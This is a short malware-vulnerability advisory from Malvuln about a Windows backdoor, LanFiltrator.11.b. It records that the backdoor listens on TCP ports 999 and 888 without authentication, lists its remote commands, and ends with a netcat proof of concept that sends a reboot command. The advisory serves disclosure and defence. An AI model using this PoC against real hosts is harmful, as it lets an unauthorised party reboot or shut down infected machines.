Backdoor.Win32.LanFiltrator.11.b Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/9f87546e667e5af59a8580ddf7fd43c7.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.LanFiltrator.11.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 999, 888. Third-party attackers who can reach the system can execute commands made available by the malware.  
  
[Commands]  
  
CHATING  
ST_P  
LOG_OFF  
RE_BOOT  
SHUT_DOWN  
POWER_OFF  
FORCE  
FORCE_IF  
MON_OFF  
MON_ON  
CAPS_ON  
CAPS_OFF  
NUM_ON  
MUN_OFF  
SCROLL_ON  
SCROLL_OFF  
  
Type: PE32  
MD5: 9f87546e667e5af59a8580ddf7fd43c7  
Vuln ID: MVID-2021-0368  
Dropped files: Csrss.exe  
Disclosure: 10/15/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 999  
┤»)«LANfiltrator«(»`RE_BOOT  
  
RE_BOOT  
  
  
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`